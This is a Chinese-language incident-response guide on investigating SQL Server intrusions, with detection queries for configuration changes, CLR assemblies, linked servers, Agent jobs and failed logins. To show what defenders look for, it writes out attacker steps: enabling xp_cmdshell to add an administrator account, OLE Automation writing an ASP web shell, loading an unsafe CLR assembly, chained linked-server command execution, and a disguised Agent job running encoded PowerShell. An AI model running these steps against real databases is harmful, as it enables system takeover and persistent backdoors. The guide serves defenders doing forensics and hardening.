Windows应急响应 - 13 SQL-Server入侵分析

SQL-Server入侵分析

前置说明

SQL Server 是 Windows 环境下最常见的关系型数据库,也是攻击者从 Web 入侵到系统层面的关键跳板

攻击者利用 SQL Server 的核心路径:SQL 注入 → xp_cmdshell/CLR → 系统命令执行 → 持久化

本页覆盖 SQL Server 2008 R2 到 SQL Server 2022 的应急分析

关联页面:12-IIS-Web应用入侵 | 03-事件日志分析 | 14-MySQL入侵分析


一、SQL Server 认证与审计基础

1.1 认证模式

Windows 认证模式(推荐):

使用 Windows 账户/Kerberos 认证

不在 SQL Server 中存储密码

支持密码策略、账户锁定

混合模式(SQL Server + Windows 认证):

额外允许 SQL Server 本地账户登录(如 sa

sa 账户是攻击者的首要目标

很多旧系统仍然使用混合模式 + 弱密码 sa

检查认证模式:

1
2
3
4
5
6
7
8
9
10
11
# 通过注册表检查
$instances = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
foreach ($inst in $instances.PSObject.Properties | Where-Object { $_.Name -ne 'PS*' }) {
$path = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$($inst.Value)\MSSQLServer"
$loginMode = (Get-ItemProperty $path).LoginMode
Write-Output "Instance: $($inst.Name) → LoginMode: $loginMode (1=Windows, 2=Mixed)"
}

# 通过 SQL 查询
# SELECT SERVERPROPERTY('IsIntegratedSecurityOnly')
# 1 = Windows Only, 0 = Mixed

1.2 SQL Server 日志体系

错误日志(Error Log):

1
2
3
4
5
默认路径: C:\Program Files\Microsoft SQL Server\MSSQLXX.MSSQLSERVER\MSSQL\Log\
├── ERRORLOG # 当前错误日志
├── ERRORLOG.1 # 上一个周期
├── ERRORLOG.2
└── ...(默认保留 6 个)

错误日志内容包括:

服务启动/停止

登录失败(如果启用了审计)

错误和警告信息

备份/还原操作

查看错误日志:

1
2
3
4
5
6
# 方法1:直接读取文件
Get-Content "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log\ERRORLOG" -Tail 100

# 方法2:通过 SQL 命令
# EXEC sp_readerrorlog 0, 1, N'Login failed' -- 搜索登录失败
# EXEC sp_readerrorlog 0, 1, N'xp_cmdshell' -- 搜索 xp_cmdshell

SQL Server 审计级别配置:

1
2
3
4
5
# 审计级别(通过 SSMS 或注册表设置)
# 0 = None → 不记录登录事件(最差)
# 1 = Successful → 仅记录成功登录
# 2 = Failed → 仅记录失败登录
# 3 = Both → 记录所有登录事件(推荐)
1
2
3
4
# 检查审计级别
$regPath = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQLServer"
(Get-ItemProperty $regPath).AuditLevel
# 注意:MSSQL16 对应 SQL Server 2022,MSSQL15 对应 2019,以此类推

Windows 应用程序事件日志中的 SQL Server 事件:

1
2
3
# SQL Server 相关事件写入 Application Log
Get-WinEvent -FilterHashtable @{LogName='Application';ProviderName='MSSQLSERVER'} -MaxEvents 100 |
Select-Object TimeCreated, Id, LevelDisplayName, Message | Format-Table -AutoSize

1.3 SQL Server 与 MySQL 对比

维度 SQL Server MySQL
默认端口 1433 3306
超级账户 sa root
命令执行 xp_cmdshell UDF / INTO OUTFILE
日志位置 ERRORLOG + Windows Event general_log + error.log
认证方式 Windows/SQL 混合 用户名密码
提权路径 CLR/OLE/Agent Job UDF/写文件/定时任务
运行平台 仅 Windows(2017+ 支持 Linux) 跨平台

二、xp_cmdshell — 命令执行核心

2.1 xp_cmdshell 原理

xp_cmdshell 是 SQL Server 内置的扩展存储过程,允许直接执行操作系统命令

以 SQL Server 服务账户的权限执行(通常是 NT Service\MSSQLSERVER 或本地系统账户)

默认情况下 SQL Server 2005+ 禁用,但 sysadmin 角色可以启用它

攻击者的标准操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
-- Step 1: 启用高级选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- Step 2: 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Step 3: 执行系统命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
EXEC xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4A...';

2.2 检测 xp_cmdshell 的启用和使用

方法一:检查当前配置

1
2
3
4
5
6
7
8
-- 检查 xp_cmdshell 是否启用
EXEC sp_configure 'xp_cmdshell';
-- run_value = 1 表示已启用

-- 或者
SELECT name, value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell';

方法二:SQL Server 错误日志

1
2
3
4
5
# 在错误日志中搜索 xp_cmdshell 相关记录
$logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log"
Get-ChildItem "$logDir\ERRORLOG*" | ForEach-Object {
Select-String -Path $_.FullName -Pattern 'xp_cmdshell|sp_configure|cmdshell' -CaseSensitive:$false
}

方法三:SQL Server 默认跟踪(Default Trace)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- SQL Server 默认跟踪会记录配置变更
-- 找到默认跟踪文件
SELECT path FROM sys.traces WHERE is_default = 1;

-- 查询配置变更事件(Event Class 22 = Error Log)
SELECT
StartTime,
LoginName,
HostName,
ApplicationName,
TextData
FROM fn_trace_gettable(
(SELECT LEFT(path, LEN(path) - CHARINDEX('\', REVERSE(path))) + '\log.trc'
FROM sys.traces WHERE is_default = 1), DEFAULT)
WHERE EventClass = 22
AND TextData LIKE '%xp_cmdshell%'
ORDER BY StartTime DESC;

方法四:Windows 安全日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 如果 SQL Server 以服务账户运行,xp_cmdshell 创建的进程会以该账户运行
# 查找 SQL Server 服务账户创建的可疑进程
$sqlAccount = 'NT Service\MSSQLSERVER' # 或实际的服务账户

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} -MaxEvents 200000 |
Where-Object {
$creator = $_.Properties[1].Value
$process = $_.Properties[5].Value
($creator -like '*MSSQL*' -or $creator -like '*SQLSERVER*') -and
($process -like '*cmd.exe*' -or $process -like '*powershell*' -or
$process -like '*net.exe*' -or $process -like '*net1.exe*')
} | ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Creator = $_.Properties[1].Value
Process = $_.Properties[5].Value
CmdLine = $_.Properties[8].Value
}
} | Format-Table -AutoSize

2.3 xp_cmdshell 被删除后的替代方案

攻击者如果发现 xp_cmdshell 被删除或阻止,会使用以下替代方案:

方法一:重新注册 xp_cmdshell

1
2
-- 从 DLL 重新注册
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll';

方法二:直接调用底层 API

1
2
-- 使用 OLE Automation(见下一节)
-- 使用 CLR Assembly(见第四节)

方法三:利用 SQL Agent Job

1
-- 创建 SQL Agent Job 执行 CmdExec 步骤(见第六节)

三、OLE Automation — sp_OACreate 攻击

3.1 OLE Automation 原理

OLE Automation 允许 SQL Server 调用 COM 对象

相关存储过程:sp_OACreatesp_OAMethodsp_OAGetPropertysp_OASetPropertysp_OADestroy

攻击者利用方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- 启用 OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

-- 方法1:通过 WScript.Shell 执行命令
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';

-- 方法2:通过 Scripting.FileSystemObject 写文件
DECLARE @fso INT, @file INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_OAMethod @fso, 'CreateTextFile', @file OUT, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_OAMethod @file, 'Write', NULL, '<%eval(request("c"))%>';
EXEC sp_OAMethod @file, 'Close';

3.2 检测 OLE Automation 使用

1
2
3
4
5
6
7
8
9
10
11
# 检查 OLE Automation 是否启用
# SQL: SELECT name, value_in_use FROM sys.configurations WHERE name = 'Ole Automation Procedures'

# 错误日志中搜索
$logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log"
Get-ChildItem "$logDir\ERRORLOG*" | ForEach-Object {
Select-String -Path $_.FullName -Pattern 'sp_OACreate|OLE Automation|sp_OAMethod'
}

# 默认跟踪中搜索
# SELECT * FROM fn_trace_gettable(...) WHERE TextData LIKE '%OACreate%'

检查 SQL Server 配置变更历史:

1
2
3
4
5
6
7
8
9
10
11
-- 使用默认跟踪查看所有 sp_configure 变更
SELECT
StartTime,
LoginName,
HostName,
TextData
FROM fn_trace_gettable(
(SELECT LEFT(path, LEN(path) - CHARINDEX('\', REVERSE(path))) + '\log.trc'
FROM sys.traces WHERE is_default = 1), DEFAULT)
WHERE TextData LIKE '%sp_configure%'
ORDER BY StartTime DESC;

四、CLR Assembly 攻击

4.1 CLR Assembly 原理

SQL Server 支持加载 .NET CLR Assembly(DLL),在数据库内执行 .NET 代码

这是最隐蔽的 SQL Server 命令执行方式,因为代码在 SQL Server 进程内执行

攻击过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- Step 1: 启用 CLR
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

-- Step 2: 设置 TRUSTWORTHY(如果 Assembly 需要 UNSAFE 权限)
ALTER DATABASE master SET TRUSTWORTHY ON;

-- Step 3: 创建 Assembly(从十六进制字节码)
CREATE ASSEMBLY [CmdExec]
FROM 0x4D5A900003000000... -- 编译后的 .NET DLL 十六进制
WITH PERMISSION_SET = UNSAFE;

-- Step 4: 创建存储过程映射
CREATE PROCEDURE [dbo].[cmd_exec]
@cmd NVARCHAR(4000)
AS EXTERNAL NAME [CmdExec].[StoredProcedures].[cmd_exec];

-- Step 5: 执行命令
EXEC cmd_exec 'whoami';

4.2 检测 CLR Assembly 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-- 检查 CLR 是否启用
SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('clr enabled', 'clr strict security');

-- 检查所有已加载的 Assembly
SELECT
a.name AS AssemblyName,
a.permission_set_desc,
a.create_date,
a.modify_date,
af.name AS FileName,
m.assembly_class,
m.assembly_method
FROM sys.assemblies a
LEFT JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id
LEFT JOIN sys.assembly_modules m ON a.assembly_id = m.assembly_id
WHERE a.is_user_defined = 1 -- 仅用户定义的 Assembly
ORDER BY a.create_date DESC;

-- 检查 TRUSTWORTHY 数据库
SELECT name, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 使用 PowerShell 查询(无需 SSMS)
$connStr = "Server=localhost;Database=master;Integrated Security=True"
$conn = New-Object System.Data.SqlClient.SqlConnection($connStr)
$conn.Open()

$cmd = $conn.CreateCommand()
$cmd.CommandText = @"
SELECT a.name, a.permission_set_desc, a.create_date,
af.content
FROM sys.assemblies a
JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id
WHERE a.is_user_defined = 1
"@

$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
Write-Output "Assembly: $($reader['name']), Permission: $($reader['permission_set_desc']), Created: $($reader['create_date'])"
}
$conn.Close()

4.3 CLR Assembly 取证 — 提取和分析

1
2
3
4
5
6
7
-- 导出 Assembly DLL 内容(十六进制)
SELECT af.name, af.content
FROM sys.assemblies a
JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id
WHERE a.is_user_defined = 1;
-- content 列包含完整的 DLL 二进制
-- 可以使用 BCP 导出为文件,然后用 dnSpy/ILSpy 反编译分析

导出 Assembly 为 DLL 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 通过 SQL 查询获取 Assembly 内容并保存为 DLL
$connStr = "Server=localhost;Database=master;Integrated Security=True"
$conn = New-Object System.Data.SqlClient.SqlConnection($connStr)
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT af.name, af.content FROM sys.assemblies a JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id WHERE a.is_user_defined = 1"
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
$name = $reader['name']
$bytes = [byte[]]$reader['content']
[System.IO.File]::WriteAllBytes("C:\IR\$name.dll", $bytes)
Write-Output "Exported: $name.dll ($($bytes.Length) bytes)"
}
$conn.Close()
# 然后使用 dnSpy 或 ILSpy 反编译 DLL 查看恶意代码

五、Linked Server 横向移动

5.1 Linked Server 攻击原理

SQL Server Linked Server 允许在一个实例中查询另一个数据库服务器

攻击者利用 Linked Server 进行横向移动,从一台 SQL Server 跳转到另一台

如果 Linked Server 配置了高权限账户(如 sa),可以在远程服务器执行命令

攻击方式:

1
2
3
4
5
6
7
8
9
10
11
12
-- 查看所有 Linked Server
EXEC sp_linkedservers;
SELECT * FROM sys.servers WHERE is_linked = 1;

-- 在 Linked Server 上执行查询
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@servername');

-- 在 Linked Server 上执行命令(如果有权限)
EXEC ('xp_cmdshell ''whoami''') AT [LinkedServerName];

-- 链式跳转(A → B → C)
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [ServerC]') AT [ServerB];

5.2 检测 Linked Server 滥用

1
2
3
4
5
6
7
8
9
10
11
12
-- 列出所有 Linked Server 及其配置
SELECT
s.name AS LinkedServer,
s.data_source AS DataSource,
s.provider,
ll.remote_name AS MappedRemoteLogin,
s.is_rpc_out_enabled,
s.is_data_access_enabled,
s.modify_date
FROM sys.servers s
LEFT JOIN sys.linked_logins ll ON s.server_id = ll.server_id
WHERE s.is_linked = 1;

危险配置标识:

is_rpc_out_enabled = 1 → 允许在远程服务器执行存储过程

remote_name = 'sa' → 使用 sa 账户连接远程服务器

1
2
3
4
# 在错误日志中搜索 Linked Server 相关操作
Get-ChildItem "$logDir\ERRORLOG*" | ForEach-Object {
Select-String -Path $_.FullName -Pattern 'OPENQUERY|linked server|AT \[' -CaseSensitive:$false
}

六、SQL Agent Job 持久化

6.1 SQL Agent Job 作为后门

SQL Server Agent 是内置的任务调度系统,相当于 Windows 的计划任务

攻击者创建恶意 Agent Job 实现持久化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- 创建恶意 SQL Agent Job
USE msdb;
EXEC sp_add_job @job_name = N'System Maintenance'; -- 伪装成系统维护

EXEC sp_add_jobstep
@job_name = N'System Maintenance',
@step_name = N'Step1',
@subsystem = N'CmdExec', -- 使用命令执行子系统
@command = N'powershell -enc JABjAGwA...', -- 恶意 PowerShell
@on_success_action = 1;

EXEC sp_add_jobschedule
@job_name = N'System Maintenance',
@name = N'DailyRun',
@freq_type = 4, -- 每天
@freq_interval = 1,
@active_start_time = 020000; -- 凌晨 2:00

EXEC sp_add_jobserver @job_name = N'System Maintenance';

6.2 检测恶意 SQL Agent Job

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-- 列出所有 SQL Agent Job 及其步骤
SELECT
j.name AS JobName,
j.enabled,
j.date_created,
j.date_modified,
js.step_name,
js.subsystem,
js.command,
jsc.name AS ScheduleName,
jsc.freq_type
FROM msdb.dbo.sysjobs j
JOIN msdb.dbo.sysjobsteps js ON j.job_id = js.job_id
LEFT JOIN msdb.dbo.sysjobschedules jss ON j.job_id = jss.job_id
LEFT JOIN msdb.dbo.sysschedules jsc ON jss.schedule_id = jsc.schedule_id
WHERE js.subsystem IN ('CmdExec', 'PowerShell', 'ActiveScripting')
OR js.command LIKE '%powershell%'
OR js.command LIKE '%cmd /c%'
OR js.command LIKE '%xp_cmdshell%'
ORDER BY j.date_created DESC;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# PowerShell 查询 SQL Agent Jobs
$connStr = "Server=localhost;Database=msdb;Integrated Security=True"
$conn = New-Object System.Data.SqlClient.SqlConnection($connStr)
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = @"
SELECT j.name, j.date_created, js.step_name, js.subsystem, js.command
FROM dbo.sysjobs j
JOIN dbo.sysjobsteps js ON j.job_id = js.job_id
WHERE js.subsystem IN ('CmdExec','PowerShell')
ORDER BY j.date_created DESC
"@
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
Write-Output "Job: $($reader['name']) | Step: $($reader['step_name']) | Type: $($reader['subsystem'])"
Write-Output " Command: $($reader['command'])"
Write-Output " Created: $($reader['date_created'])"
Write-Output "---"
}
$conn.Close()

检查 SQL Agent Job 执行历史:

1
2
3
4
5
6
7
8
9
10
11
12
-- 查看最近的 Job 执行记录
SELECT
j.name AS JobName,
h.step_name,
h.run_date,
h.run_time,
h.run_duration,
h.run_status, -- 0=Failed, 1=Succeeded, 2=Retry, 3=Canceled
h.message
FROM msdb.dbo.sysjobhistory h
JOIN msdb.dbo.sysjobs j ON h.job_id = j.job_id
ORDER BY h.run_date DESC, h.run_time DESC;

七、SQL Server 账户安全审计

7.1 高权限账户排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-- 列出所有 sysadmin 角色成员
SELECT
l.name AS LoginName,
l.type_desc AS LoginType,
l.create_date,
l.modify_date,
l.is_disabled
FROM sys.server_principals l
JOIN sys.server_role_members rm ON l.principal_id = rm.member_principal_id
JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
WHERE r.name = 'sysadmin'
ORDER BY l.create_date DESC;

-- 检查所有 SQL Server 登录账户
SELECT
name,
type_desc,
create_date,
modify_date,
is_disabled,
is_policy_checked, -- 是否检查密码策略
is_expiration_checked -- 是否检查密码过期
FROM sys.sql_logins
ORDER BY create_date DESC;

-- 检查最近创建的登录账户(可能是攻击者后门)
SELECT name, type_desc, create_date
FROM sys.server_principals
WHERE create_date > DATEADD(day, -30, GETDATE())
AND type IN ('S', 'U') -- S=SQL Login, U=Windows Login
ORDER BY create_date DESC;

7.2 数据库用户权限审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-- 检查每个数据库中的 db_owner 成员
EXEC sp_MSforeachdb @command1='
USE [?];
SELECT
DB_NAME() AS DatabaseName,
dp.name AS UserName,
dp.type_desc,
r.name AS RoleName
FROM sys.database_role_members drm
JOIN sys.database_principals dp ON drm.member_principal_id = dp.principal_id
JOIN sys.database_principals r ON drm.role_principal_id = r.principal_id
WHERE r.name = ''db_owner''
';

-- 检查授予的服务器级别权限
SELECT
pr.name AS PrincipalName,
pe.permission_name,
pe.state_desc
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id
WHERE pe.state_desc = 'GRANT'
AND pe.permission_name NOT IN ('CONNECT SQL', 'VIEW ANY DATABASE')
ORDER BY pr.name;

7.3 sa 账户安全检查

1
2
3
4
5
6
7
8
9
10
11
12
-- 检查 sa 账户状态
SELECT
name,
is_disabled,
is_policy_checked,
is_expiration_checked,
LOGINPROPERTY('sa', 'PasswordLastSetTime') AS PasswordLastSet,
LOGINPROPERTY('sa', 'BadPasswordCount') AS BadPasswordCount,
LOGINPROPERTY('sa', 'BadPasswordTime') AS LastBadPasswordTime,
LOGINPROPERTY('sa', 'LockoutTime') AS LockoutTime
FROM sys.sql_logins
WHERE name = 'sa';

最佳实践:

禁用 sa 账户或重命名

设置极强密码

启用密码策略检查

监控所有使用 sa 的登录尝试


八、SQL Server 暴力破解检测

8.1 错误日志中的登录失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 从 SQL Server 错误日志中提取登录失败
$logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log"

Get-ChildItem "$logDir\ERRORLOG*" | ForEach-Object {
Select-String -Path $_.FullName -Pattern 'Login failed for user'
} | ForEach-Object {
$line = $_.Line
if ($line -match "Login failed for user '([^']+)'.*\[CLIENT: ([^\]]+)\]") {
[PSCustomObject]@{
File = $_.Filename
Line = $_.LineNumber
User = $matches[1]
ClientIP = $matches[2]
Raw = $line
}
}
} | Group-Object ClientIP | Sort-Object Count -Descending |
Select-Object Count, Name, @{N='Users';E={($_.Group.User | Sort-Object -Unique) -join ','}} |
Format-Table -AutoSize

8.2 Windows 事件日志中的 SQL 登录失败

1
2
3
4
5
6
7
8
9
10
# Application Log 中的 SQL Server 登录失败(Event ID 18456)
Get-WinEvent -FilterHashtable @{LogName='Application';Id=18456;ProviderName='MSSQLSERVER'} -MaxEvents 10000 |
ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Message = $_.Message.Substring(0, [Math]::Min(200, $_.Message.Length))
}
} | Group-Object { ($_.Message -split '\[CLIENT: ')[1] -replace '\].*' } |
Sort-Object Count -Descending |
Select-Object Count, Name | Format-Table -AutoSize

Event ID 18456 Severity/State 对照:

1
2
3
4
5
6
7
8
State 2/5:   用户 ID 无效
State 6: 尝试使用 Windows 登录名
State 7: 登录被禁用
State 8: 密码错误(最常见的暴力破解)
State 9: 密码不匹配
State 11/12: 登录有效但服务器访问失败
State 13: SQL Server 服务暂停
State 18: 需要更改密码

九、综合排查流程与清单

9.1 SQL Server 入侵排查 SOP

Phase 1: 确认入侵

检查 ERRORLOG 中的登录失败和成功记录

检查 xp_cmdshell / OLE Automation / CLR 是否被启用

检查最近创建的 SQL 登录账户

Phase 2: 评估影响

确定攻击者执行了哪些命令(xp_cmdshell 历史)

检查是否有数据外泄(大量 SELECT 或 BCP 操作)

检查 Linked Server 是否被用于横向移动

Phase 3: 排查持久化

检查 SQL Agent Jobs(CmdExec/PowerShell 步骤)

检查 CLR Assembly(用户自定义的)

检查后门存储过程

检查数据库触发器(DDL/DML Trigger)

Phase 4: 清理与加固

禁用 xp_cmdshell、OLE Automation、CLR(如非必需)

删除恶意 Agent Job、Assembly、存储过程

重置所有 SQL 账户密码

审核 Linked Server 配置

9.2 快速检查清单

配置检查:

[ ] xp_cmdshell 是否启用

[ ] OLE Automation 是否启用

[ ] CLR 是否启用

[ ] TRUSTWORTHY 数据库

[ ] 认证模式(Windows / Mixed)

[ ] 审计级别是否设为 Both(3)

账户检查:

[ ] sysadmin 成员列表

[ ] 最近创建的登录账户

[ ] sa 账户状态

[ ] 弱密码检查

持久化检查:

[ ] SQL Agent Job(CmdExec/PowerShell 类型)

[ ] CLR Assembly(用户定义的)

[ ] Linked Server 配置

[ ] 后门存储过程

[ ] 数据库触发器

日志检查:

[ ] ERRORLOG 登录失败统计

[ ] 默认跟踪中的配置变更

[ ] Application Event Log(18456)

详见 14-MySQL入侵分析 了解 MySQL 侧的对应排查方法


上一章 目录 下一章
12-IIS-Web应用入侵 Windows应急响应 14-钓鱼邮件与恶意文件执行